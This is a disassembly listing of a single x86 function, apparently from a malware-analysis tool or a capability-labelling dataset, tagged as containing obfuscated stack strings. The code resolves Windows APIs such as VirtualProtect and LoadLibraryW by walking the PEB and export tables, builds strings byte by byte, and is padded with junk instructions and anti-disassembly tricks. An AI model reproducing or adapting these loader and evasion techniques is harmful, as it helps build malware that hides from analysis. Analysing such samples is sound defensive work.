Function at 0x407325
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov edx, dword [ebp - 0x6f4]
add edx, 1
mov dword [ebp - 0x6f4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x6f4]
cmp ecx, dword [eax + 0x18]
jae 0x4069f4
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x6f8], ecx
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18a8]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18ac], eax
mov dword [ebp - 0x180], 0
jmp 0x406858
mov ecx, dword [ebp - 0x180]
add ecx, 1
mov dword [ebp - 0x180], ecx
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
test eax, eax
je 0x40690a
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
test edx, edx
je 0x40690a
push edi
push ebx
add esp, 4
xor edi, 0x11571
sub edi, 0xaa3e
pop edi
push ecx
push edx
add esp, 4
add ecx, 0x2b2a
add byte [eax], al
add byte [eax], al
add ecx, 0x138ef
or ecx, 0x119ec
pop ecx
push edx
xor edx, 0x1003c
pop edx
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
cmp ecx, eax
je 0x4068fc
mov ecx, dword [ebp - 0x6f8]
add ecx, dword [ebp - 0x180]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x180]
movsx ecx, byte [ebp + eax - 0x820]
cmp edx, ecx
jne 0x406903
jmp 0x406849
jmp 0x40690a
push edi
push edi
add esp, 4
jmp 0x406918
xor edi, 0xccec
pop edi
push edi
jmp 0x406929
pop edi
push ebx
push edx
add esp, 4
or ebx, 0xe8ca
xor ebx, 0x9a6
pop ebx
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
cmp eax, edx
jne 0x406969
mov dword [ebp - 0xc30], 0
jmp 0x4069d8
push esi
xor esi, 0x10453
sub esi, 0xda44
sub esi, 0x7c5c
sub esi, 0x794d
pop esi
push edi
push eax
add esp, 4
sub edi, 0x4434
or edi, 0x3d96
and edi, 0xf2f4
pop edi
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
or eax, 0x20
cmp ecx, eax
jge 0x4069ce
mov dword [ebp - 0xc30], 0xffffffff
jmp 0x4069d8
mov dword [ebp - 0xc30], 1
cmp dword [ebp - 0xc30], 0
jne 0x4069ef
mov ecx, dword [ebp - 0x18ac]
mov dword [ebp - 0x3c4], ecx
jmp 0x406a00
jmp 0x4067d9
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
cmp dword [ebp - 0x3c4], 0
je 0x406adb
push esi
push eax
add esp, 4
or esi, 0x9330
pop esi
push ecx
push ecx
add esp, 4
and ecx, 0x7dbb
add ecx, 0x8a0f
pop ecx
push esi
add esi, 0x156ed
and esi, 0x14d4e
and esi, 0x17ae
pop esi
mov eax, dword [ebp - 0x3c4]
mov dword [ebp - 0x18b0], eax
push esi
push edx
add esp, 4
call 0x406a5f
add byte [eax + 0x48], al
xor eax, dword [esi + 0x37]
xor al, 0x36
inc edi
cmp eax, 0x8104c483
out 0x17, al
push eax
add dword [eax], eax
call 0x406a74
add byte [esi + 0x3d], al
inc ebx
cmp al, 0x40
inc esp
add esp, 4
jmp 0x406a7c
pop esi
mov ecx, dword [ebp - 0x18b0]
mov dword [ebp - 0x18b4], ecx
lea edx, [ebp - 0x1628]
push edx
call dword [ebp - 0x18b4]
test eax, eax
jne 0x406adb
push eax
push ebx
add esp, 4
and eax, 0x9f8e
jmp 0x406aaa
pop eax
push ebx
push esi
add esp, 4
add ebx, 0x74e7
xor ebx, 0xc784
pop ebx
push ebx
sub ebx, 0xee18
jmp 0x406acb
pop ebx
mov dword [ebp - 0x738], 0
jmp 0x4071c5
push eax
push ebx
add esp, 4
sub eax, 0xf039
call 0x406af4
add byte [edx + 0x37], cl
inc edx
inc eax
dec ebx
inc eax
dec eax
cmp al, 0x83
les eax, [ecx + eax*4]
enter 0x7a88, 0
add al, ch
pop es
add byte [eax], al
add byte [eax], al
add byte [eax], bh
inc ebx
inc edi
push eax
dec edi
dec ebx
add esp, 4
pop eax
mov eax, dword fs:[0x18]
mov dword [ebp - 0x18b8], eax
mov ecx, dword [ebp - 0x18b8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18bc], edx
mov eax, dword [ebp - 0x18bc]
mov dword [ebp - 0x14f4], eax
push ecx
push edx
add esp, 4
and ecx, 0xe6f2
and ecx, 0x1230b
pop ecx
push esi
jmp 0x406b4d
jmp 0x406b54
pop esi
push eax
push eax
add esp, 4
add eax, 0x13e57
jmp 0x406b65
pop eax
cmp dword [ebp - 0x14f4], 0
jne 0x406b7e
mov dword [ebp - 0x2e0], 0
jmp 0x406e25
mov ecx, dword [ebp - 0x14f4]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc3c], eax
push eax
or eax, 0xf5b9
pop eax
push eax
push esi
add esp, 4
xor eax, 0x9dca
pop eax
push eax
sub eax, 0x16e1f
or eax, 0x44ce
pop eax
push edi
add edi, 0x6dac
pop edi
push ebx
or ebx, 0x9655
pop ebx
cmp dword [ebp - 0xc3c], 0
jne 0x406bda
mov dword [ebp - 0x2e0], 0
jmp 0x406e25
mov ecx, dword [ebp - 0xc3c]
mov dword [ebp - 0x4dc], ecx
push ebx
or ebx, 0x13848
and ebx, 0x84ad
add ebx, 0x10850
sub ebx, 0x9531
pop ebx
push eax
or eax, 0xd1e7
pop eax
push esi
or esi, 0xb3f4
pop esi
push eax
add eax, 0xb32f
pop eax
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc38], edx
mov eax, dword [ebp - 0x4dc]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc34], ecx
xor edx, edx
mov word [ebp - 0x200], dx
xor eax, eax
mov word [ebp - 0x34], ax
push ebx
jmp 0x406c49
xor ebx, 0x630d
add ebx, 0x115f3
or ebx, 0xeecc
pop ebx
push ecx
push edi
add esp, 4
and ecx, 0xbd92
add ecx, 0x6c52
or ecx, 0x9ab8
pop ecx
mov ecx, dword [ebp - 0xc34]
mov dx, word [ecx]
mov word [ebp - 0xf86], dx
mov eax, dword [ebp - 0xc34]
add eax, 2
mov dword [ebp - 0xc34], eax
mov cx, word [ebp - 0xf86]
mov word [ebp - 0x200], cx
mov edx, dword [ebp - 0xc38]
mov ax, word [edx]
mov word [ebp - 0xf88], ax
mov ecx, dword [ebp - 0xc38]
add ecx, 2
mov dword [ebp - 0xc38], ecx
mov dx, word [ebp - 0xf88]
mov word [ebp - 0x34], dx
push eax
push ebx
add esp, 4
or eax, 0x18511
jmp 0x406cdc
jmp 0x406ce4
pop eax
push edx
push ebx
add esp, 4
or edx, 0x1287a
and edx, 0x13795
or edx, 0x12489
pop edx
movzx eax, word [ebp - 0x34]
test eax, eax
jne 0x406d1a
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
sub ecx, edx
mov dword [ebp - 0x14fc], ecx
jmp 0x406d74
movzx eax, word [ebp - 0x200]
movzx ecx, word [ebp - 0x34]
cmp eax, ecx
je 0x406c42
movzx edx, word [ebp - 0x200]
xor edx, 0x20
movzx eax, word [ebp - 0x34]
cmp edx, eax
je 0x406c42
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
cmp ecx, edx
jge 0x406d5e
mov dword [ebp - 0x14f8], 0xffffffff
jmp 0x406d68
mov dword [ebp - 0x14f8], 1
mov eax, dword [ebp - 0x14f8]
mov dword [ebp - 0x14fc], eax
cmp dword [ebp - 0x14fc], 0
jne 0x406dbd
push edi
sub edi, 0x1a8c
add edi, 0xa826
sub edi, 0xc2a2
or edi, 0x13040
pop edi
push ebx
push edi
add esp, 4
and ebx, 0x150c1
or ebx, 0x15538
sub ebx, 0x105b6
pop ebx
mov ecx, dword [ebp - 0x4dc]
mov dword [ebp - 0x2e0], ecx
jmp 0x406e25
push eax
add eax, 0x220d
call 0x406dd4
add byte [ebx], dh
cmp eax, 0x413c4e4b
xor cl, byte [eax + 0x50]
inc ecx
add esp, 4
pop eax
push esi
call 0x406de5
add byte [eax + 0x41], al
inc ebp
inc ebp
dec esp
add esp, 4
jmp 0x406dee
pop esi
mov edx, dword [ebp - 0x4dc]
mov eax, dword [edx]
mov dword [ebp - 0x4dc], eax
mov ecx, dword [ebp - 0x4dc]
cmp ecx, dword [ebp - 0xc3c]
je 0x406e1b
mov edx, dword [ebp - 0x4dc]
cmp dword [edx + 0x30], 0
jne 0x406be6
mov dword [ebp - 0x2e0], 0
push edx
push edi
add esp, 4
xor edx, 0xe53d
pop edx
push ecx
push edi
add esp, 4
xor ecx, 0xa514
pop ecx
push ebx
add ebx, 0x17033
xor ebx, 0x464c
add ebx, 0x739d
push eax
and eax, 0xdb81
and eax, 0xb0f6
add eax, 0x32b
sub eax, 0x5c90
pop eax
push edx
push eax
add esp, 4
sub edx, 0x38bb
add edx, 0x8ea5
xor edx, 0x887b
pop edx
mov ecx, dword [ebp - 0x3cc]
add ecx, 0xe
mov dword [ebp - 0x1918], ecx
push edx
add edx, 0x148f
pop edx
push ecx
push ebx
add esp, 4
jmp 0x407218
jmp 0x40721d
jmp 0x407224
call 0x407234
add byte [ebp + ecx*2 + 0x4f], cl
cmp eax, 0x434e3a48
dec esi
cmp eax, 0x5904c483
cmp dword [ebp - 0x3cc], 0
je 0x40724a
cmp dword [ebp - 0xa5c], 0
jne 0x407290
push ebx
or ebx, 0x54b5
and ebx, 0x4c04
or ebx, 0x6360
jmp 0x407262
pop ebx
push esi
push ebx
add esp, 4
jmp 0x40726f
sub esi, 0x650c
add esi, 0xcda1
pop esi
mov edx, dword [ebp - 0x738]
mov dword [ebp - 0x18d0], edx
push 0
call dword [ebp - 0x18d0]
mov dword [ebp - 0x1fb0], 0xa
push ecx
sub ecx, 0xaba6
pop ecx
push edx
or edx, 0xfc3a
pop edx
push esi
push ecx
add esp, 4
sub esi, 0x147c6
pop esi
push ecx
push ecx
add esp, 4
call 0x4072c8
add byte [eax + 0x3c], dl
dec edi
cmp cl, byte [ebx + 0x4a]
inc esp
add esp, 4
pop ecx
mov eax, dword [ebp - 0x3cc]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x381], cl
mov edx, dword [ebp - 0xa5c]
sub edx, dword [ebp - 0x3cc]
mov dword [ebp - 0x158c], edx
mov dword [ebp - 0xc70], 0
push edx
and edx, 0x84b9
pop edx
push edi
push ecx
add esp, 4
or edi, 0x10e10
or edi, 0xa9fb
and edi, 0x9b48
call 0x407325
add byte [ebx], bh
xor ecx, dword [edx + 0x40]
inc ebx
dec esi
inc ebx
add esp, 4
pop edi
mov byte [ebp - 0x960], 0x56
mov byte [ebp - 0x95f], 0x69
mov byte [ebp - 0x95e], 0x72
mov byte [ebp - 0x95d], 0x74
mov byte [ebp - 0x95c], 0x75
mov byte [ebp - 0x95b], 0x61
mov byte [ebp - 0x95a], 0x6c
mov byte [ebp - 0x959], 0x50
mov byte [ebp - 0x958], 0x72
mov byte [ebp - 0x957], 0x6f
mov byte [ebp - 0x956], 0x74
mov byte [ebp - 0x955], 0x65
mov byte [ebp - 0x954], 0x63
mov byte [ebp - 0x953], 0x74
mov byte [ebp - 0x952], 0
push eax
and eax, 0x165f4
call 0x4073a5
add byte [edi + 0x42], cl
xor al, 0x4e
dec edx
inc edx
add esp, 4
jmp 0x4073af
pop eax
push edi
and edi, 0x13367
or edi, 0x5ec8
and edi, 0x10e13
pop edi
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1c34], eax
mov ecx, dword [ebp - 0x1c34]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18d4], edx
mov eax, dword [ebp - 0x18d4]
mov dword [ebp - 0x150c], eax
push ecx
push edx
add esp, 4
and ecx, 0x3080
pop ecx
push esi
sub esi, 0x89fe
pop esi
push edi
push eax
add esp, 4
or edi, 0x116e1
sub edi, 0x13ff5
or edi, 0x10a3a
xor edi, 0x13376
pop edi
cmp dword [ebp - 0x150c], 0
jne 0x407435
mov dword [ebp - 0x2a8], 0
jmp 0x4076dc
mov ecx, dword [ebp - 0x150c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc4c], eax
push eax
push esi
add esp, 4
xor eax, 0x6020
pop eax
push edx
call 0x407463
add byte [eax + 0x34], dl
inc edx
cmp dword [ebx], edi
inc eax
dec esp
inc ebx
add esp, 4
add edx, 0x9713
sub edx, 0xf614
sub edx, 0xe4d8
pop edx
cmp dword [ebp - 0xc4c], 0
jne 0x407491
mov dword [ebp - 0x2a8], 0
jmp 0x4076dc
mov ecx, dword [ebp - 0xc4c]
mov dword [ebp - 0x4e4], ecx
push edx
push ecx
add esp, 4
add edx, 0x17e51
pop edx
push edi
or edi, 0xb622
xor edi, 0x16c91
add edi, 0xd28f
add edi, 0xd48d
pop edi
push ebx
push eax
add esp, 4
sub ebx, 0xdc75
pop ebx
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc48], edx
mov eax, dword [ebp - 0x4e4]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc44], ecx
xor edx, edx
mov word [ebp - 0x204], dx
xor eax, eax
mov word [ebp - 0x38], ax
push ecx
xor ecx, 0x100f8
call 0x40750d
add byte [eax + eax*2 + 0x33], cl
aaa
aaa
dec ecx
dec esi
add esp, 4
add ecx, 0xd770
pop ecx
push esi
sub esi, 0x1794a
and esi, 0x123bb
and esi, 0x1833f
pop esi
mov ecx, dword [ebp - 0xc44]
mov dx, word [ecx]
mov word [ebp - 0xf8a], dx
mov eax, dword [ebp - 0xc44]
add eax, 2
mov dword [ebp - 0xc44], eax
mov cx, word [ebp - 0xf8a]
mov word [ebp - 0x204], cx
mov edx, dword [ebp - 0xc48]
mov ax, word [edx]
mov word [ebp - 0xf8c], ax
mov ecx, dword [ebp - 0xc48]
add ecx, 2
mov dword [ebp - 0xc48], ecx
mov dx, word [ebp - 0xf8c]
mov word [ebp - 0x38], dx
push ebx
push edx
add esp, 4
sub ebx, 0x37a4
pop ebx
push eax
push eax
add esp, 4
or eax, 0xa0ca
and eax, 0x155cc
sub eax, 0x110a4
pop eax
push eax
add eax, 0x110b0
add eax, 0x9729
pop eax
movzx eax, word [ebp - 0x38]
test eax, eax
jne 0x4075d1
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
sub ecx, edx
mov dword [ebp - 0x1514], ecx
jmp 0x40762b
movzx eax, word [ebp - 0x204]
movzx ecx, word [ebp - 0x38]
cmp eax, ecx
je 0x4074f9
movzx edx, word [ebp - 0x204]
xor edx, 0x20
movzx eax, word [ebp - 0x38]
cmp edx, eax
je 0x4074f9
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
cmp ecx, edx
jge 0x407615
mov dword [ebp - 0x1510], 0xffffffff
jmp 0x40761f
mov dword [ebp - 0x1510], 1
mov eax, dword [ebp - 0x1510]
mov dword [ebp - 0x1514], eax
cmp dword [ebp - 0x1514], 0
jne 0x407674
push eax
push esi
add esp, 4
or eax, 0x13298
jmp 0x407645
xor eax, 0x778e
pop eax
push esi
jmp 0x407653
xor esi, 0x646d
jmp 0x40765f
or esi, 0x39a
pop esi
mov ecx, dword [ebp - 0x4e4]
mov dword [ebp - 0x2a8], ecx
jmp 0x4076dc
push ebx
push eax
add esp, 4
jmp 0x40767e
pop ebx
push edx
add edx, 0x9526
jmp 0x40768f
jmp 0x407697
add edx, 0x12899
pop edx
push ecx
add ecx, 0x17f4a
pop ecx
mov edx, dword [ebp - 0x4e4]
mov eax, dword [edx]
mov dword [ebp - 0x4e4], eax
mov ecx, dword [ebp - 0x4e4]
cmp ecx, dword [ebp - 0xc4c]
je 0x4076d2
mov edx, dword [ebp - 0x4e4]
cmp dword [edx + 0x30], 0
jne 0x40749d
mov dword [ebp - 0x2a8], 0
push edi
push eax
add esp, 4
or edi, 0xebfc
sub edi, 0xddce
xor edi, 0x2b71
pop edi
push esi
sub esi, 0x587c
sub esi, 0xfe2f
pop esi
push eax
push eax
add esp, 4
add eax, 0xbd09
pop eax
cmp dword [ebp - 0x2a8], 0
jne 0x408013
mov eax, 0x6b
mov word [ebp - 0x16e8], ax
mov ecx, 0x65
mov word [ebp - 0x16e6], cx
mov edx, 0x72
mov word [ebp - 0x16e4], dx
mov eax, 0x6e
mov word [ebp - 0x16e2], ax
mov ecx, 0x65
mov word [ebp - 0x16e0], cx
mov edx, 0x6c
mov word [ebp - 0x16de], dx
mov eax, 0x33
mov word [ebp - 0x16dc], ax
mov ecx, 0x32
mov word [ebp - 0x16da], cx
mov edx, 0x2e
mov word [ebp - 0x16d8], dx
mov eax, 0x64
mov word [ebp - 0x16d6], ax
mov ecx, 0x6c
mov word [ebp - 0x16d4], cx
mov edx, 0x6c
mov word [ebp - 0x16d2], dx
xor eax, eax
mov word [ebp - 0x16d0], ax
push edi
jmp 0x4077be
call 0x4077cd
add byte [edx], bh
inc esp
dec edi
inc esi
inc eax
xor edi, dword [ecx]
xor al, 0x3d
add esp, 4
add edi, 0x13536
call 0x4077e2
add byte [esi], dh
dec esp
xor cl, byte [ecx + 0x35]
add esp, 4
pop edi
mov byte [ebp - 0x830], 0x4c
mov byte [ebp - 0x82f], 0x6f
mov byte [ebp - 0x82e], 0x61
mov byte [ebp - 0x82d], 0x64
mov byte [ebp - 0x82c], 0x4c
mov byte [ebp - 0x82b], 0x69
mov byte [ebp - 0x82a], 0x62
mov byte [ebp - 0x829], 0x72
mov byte [ebp - 0x828], 0x61
mov byte [ebp - 0x827], 0x72
mov byte [ebp - 0x826], 0x79
mov byte [ebp - 0x825], 0x57
mov byte [ebp - 0x824], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18d8], ecx
mov edx, dword [ebp - 0x18d8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18dc], eax
mov ecx, dword [ebp - 0x18dc]
mov dword [ebp - 0x1518], ecx
push eax
push esi
add esp, 4
xor eax, 0x12a11
or eax, 0x16895
xor eax, 0x6e1c
or eax, 0xde28
pop eax
push edx
xor edx, 0x13436
or edx, 0x84d2
or edx, 0x626c
pop edx
cmp dword [ebp - 0x1518], 0
jne 0x4078b3
mov dword [ebp - 0x710], 0
jmp 0x407b5a
mov edx, dword [ebp - 0x1518]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc58], ecx
push eax
and eax, 0x184f1
xor eax, 0xe2c0
pop eax
push edx
push esi
add esp, 4
add edx, 0x13bf4
add edx, 0x13223
call 0x4078f3
add byte [edx + edi], dh
push eax
cmp dword [ecx + 0x35], eax
dec esp
dec esi
inc edi
add esp, 4
pop edx
cmp dword [ebp - 0xc58], 0
jne 0x40790f
mov dword [ebp - 0x710], 0
jmp 0x407b5a
mov edx, dword [ebp - 0xc58]
mov dword [ebp - 0x4e8], edx
push edx
jmp 0x407922
pop edx
push eax
push ecx
add esp, 4
call 0x407935
add byte [edi + 0x35], cl
inc esp
aaa
xor eax, 0xc483473c
add al, 0x81
enter 0x145a, 1
add bl, ch
add al, 0x4d
xor eax, dword [esi + 0x3c]
jmp 0x40794c
pop eax
lea eax, [ebp - 0x16e8]
mov dword [ebp - 0xc54], eax
mov ecx, dword [ebp - 0x4e8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc50], edx
xor eax, eax
mov word [ebp - 0x208], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push edx
push edx
add esp, 4
add edx, 0x141ec
pop edx
push ecx
add ecx, 0x1ea6
pop ecx
push ebx
push edx
add esp, 4
and ebx, 0x56e4
or ebx, 0x2918
or ebx, 0x3361
xor ebx, 0x12265
pop ebx
mov edx, dword [ebp - 0xc50]
mov ax, word [edx]
mov word [ebp - 0xf8e], ax
mov ecx, dword [ebp - 0xc50]
add ecx, 2
mov dword [ebp - 0xc50], ecx
mov dx, word [ebp - 0xf8e]
mov word [ebp - 0x208], dx
mov eax, dword [ebp - 0xc54]
mov cx, word [eax]
mov word [ebp - 0xf90], cx
mov edx, dword [ebp - 0xc54]
add edx, 2
mov dword [ebp - 0xc54], edx
mov ax, word [ebp - 0xf90]
mov word [ebp - 0x3c], ax
push eax
push eax
add esp, 4
or eax, 0x1dc1
add eax, 0x16d6d
sub eax, 0x240c
pop eax
push edx
add edx, 0x17817
add edx, 0xbbaa
xor edx, 0x347f
sub edx, 0xee3a
pop edx
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x407a4f
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1560], edx
jmp 0x407aa9
movzx ecx, word [ebp - 0x208]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x407977
movzx eax, word [ebp - 0x208]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x407977
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x407a93
mov dword [ebp - 0x151c], 0xffffffff
jmp 0x407a9d
mov dword [ebp - 0x151c], 1
mov ecx, dword [ebp - 0x151c]
mov dword [ebp - 0x1560], ecx
cmp dword [ebp - 0x1560], 0
jne 0x407af2
push esi
call 0x407ac3
add byte [ebp + 0x40], cl
dec esi
inc esp
inc edx
dec esp
cmp byte [esi], dh
add esp, 4
pop esi
push eax
xor eax, 0x36d0
pop eax
push edx
add edx, 0x11d3b
jmp 0x407add
xor edx, 0x3283
pop edx
mov edx, dword [ebp - 0x4e8]
mov dword [ebp - 0x710], edx
jmp 0x407b5a
push edi
push esi
add esp, 4
sub edi, 0xf32c
add edi, 0x14c55
pop edi
push edi
push ebx
add esp, 4
xor edi, 0x2b75
xor edi, 0xea98
xor edi, 0x1f31
pop edi
push esi
add esi, 0x118a5
pop esi
mov eax, dword [ebp - 0x4e8]
mov ecx, dword [eax]
mov dword [ebp - 0x4e8], ecx
mov edx, dword [ebp - 0x4e8]
cmp edx, dword [ebp - 0xc58]
je 0x407b50
mov eax, dword [ebp - 0x4e8]
cmp dword [eax + 0x30], 0
jne 0x40791b
mov dword [ebp - 0x710], 0
push edi
push eax
add esp, 4
and edi, 0x6a74
pop edi
push ecx
push ebx
add esp, 4
add ecx, 0x893
pop ecx
push eax
and eax, 0x9df2
jmp 0x407b7e
pop eax
push ecx
and ecx, 0x10ac7
jmp 0x407b8b
pop ecx
cmp dword [ebp - 0x710], 0
jne 0x407bd6
push edx
push edi
add esp, 4
sub edx, 0xbfb1
sub edx, 0x327c
xor edx, 0x184a2
pop edx
push ecx
and ecx, 0x60
pop ecx
push edx
push ecx
add esp, 4
add edx, 0x3615
add edx, 0xe8fe
pop edx
mov dword [ebp - 0xa58], 0
jmp 0x4086fe
push edi
xor edi, 0x3282
or edi, 0x1fe1
pop edi
push ebx
jmp 0x407bea
add ebx, 0x973c
jmp 0x407bf5
pop ebx
push edx
push edx
add esp, 4
xor edx, 0x6aca
sub edx, 0x561c
pop edx
mov ecx, dword [ebp - 0x710]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x300], edx
mov dword [ebp - 0x720], 0
mov eax, dword [ebp - 0x300]
mov dword [ebp - 0x1564], eax
cmp dword [ebp - 0x1564], 0
jne 0x407c47
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x407f38
mov edx, dword [ebp - 0x1564]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1568], eax
jne 0x407c6f
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x407f38
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1568]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1570], edx
cmp dword [ebp - 0x1570], 0
jne 0x407ca1
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
jmp 0x407f38
mov ecx, dword [ebp - 0x300]
add ecx, dword [ebp - 0x1570]
mov dword [ebp - 0x714], ecx
jne 0x407cc6
mov edx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], edx
jmp 0x407f38
mov eax, dword [ebp - 0x714]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x18e0], ecx
mov edx, dword [ebp - 0x714]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x18e4], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x18e8], edx
mov dword [ebp - 0x718], 0
jmp 0x407d20
mov eax, dword [ebp - 0x718]
add eax, 1
mov dword [ebp - 0x718], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x718]
cmp edx, dword [ecx + 0x18]
jae 0x407f2c
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e0]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x71c], edx
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e4]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x18e8]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x18ec], ecx
mov dword [ebp - 0x188], 0
jmp 0x407d90
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
test ecx, ecx
je 0x407e42
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
test eax, eax
je 0x407e42
push ecx
call 0x407dce
add byte [edi + 0x45], cl
cmp ecx, dword [eax + 0x3b]
dec ecx
inc esi
dec ecx
cmp dword [ebx - 0x7d], eax
les eax, [ecx + eax*4]
jmp 0x41dac7
push edi
push ebx
add esp, 4
or edi, 0x1678e
pop edi
push edi
add edi, 0x10858
xor edi, 0xcb9f
call 0x407e6a
add byte [eax + edx*2 + 0x3c], cl
inc esp
dec ecx
cmp eax, dword [ecx + 0x47]
inc edi
add esp, 4
and edi, 0x590f
pop edi
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
cmp ecx, eax
jne 0x407ea1
mov dword [ebp - 0xc5c], 0
jmp 0x407f10
push edx
sub edx, 0xdcfc
xor edx, 0xf736
pop edx
push esi
add esi, 0xcb06
pop esi
push eax
sub eax, 0x12189
xor eax, 0xe72f
pop eax
push edi
and edi, 0xf5f1
xor edi, 0xc361
pop edi
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
or ecx, 0x20
cmp edx, ecx
jge 0x407f06
mov dword [ebp - 0xc5c], 0xffffffff
jmp 0x407f10
mov dword [ebp - 0xc5c], 1
cmp dword [ebp - 0xc5c], 0
jne 0x407f27
mov edx, dword [ebp - 0x18ec]
mov dword [ebp - 0x3c8], edx
jmp 0x407f38
jmp 0x407d11
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
cmp dword [ebp - 0x3c8], 0
je 0x408013
push eax
jmp 0x407f4c
add eax, 0x66c4
and eax, 0xf2b
pop eax
push ecx
push eax
add esp, 4
sub ecx, 0x933e
sub ecx, 0x145ca
sub ecx, 0xe207
or ecx, 0x12f30
pop ecx
mov ecx, dword [ebp - 0x3c8]
mov dword [ebp - 0x18f0], ecx
push eax
push eax
add esp, 4
xor eax, 0x458a
and eax, 0x17747
add eax, 0x3bc
add eax, 0x2cec
pop eax
push ecx
push edx
add esp, 4
jmp 0x407fae
and ecx, 0x1439
pop ecx
mov edx, dword [ebp - 0x18f0]
mov dword [ebp - 0x18f4], edx
lea eax, [ebp - 0x1628]
push eax
call dword [ebp - 0x18f4]
test eax, eax
jne 0x408013
push esi
xor esi, 0x1175e
xor esi, 0x13c84
pop esi
push edi
push esi
add esp, 4
call 0x407ff4
add byte [esi], dh
inc edi
dec edx
cmp byte [edi + 0x33], al
inc eax
inc ebp
inc ebx
add esp, 4
sub edi, 0x17c04
xor edi, 0x15bf8
pop edi
mov dword [ebp - 0xa58], 0
jmp 0x4086fe
push ecx
push ecx
add esp, 4
or ecx, 0x4c2e
pop ecx
push ecx
push edx
add esp, 4
jmp 0x40802c
pop ecx
push esi
push edx
add esp, 4
sub esi, 0x12b59
add esi, 0x16e1a
sub esi, 0x23bb
pop esi
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18f8], ecx
mov edx, dword [ebp - 0x18f8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18fc], eax
mov ecx, dword [ebp - 0x18fc]
mov dword [ebp - 0x1574], ecx
push ecx
push eax
add esp, 4
call 0x408082
add byte [eax + 0x41], dl
inc esi
inc eax
dec edx
cmp dh, byte [edi + eax*2]
dec ebp
add esp, 4
or ecx, 0x148a6
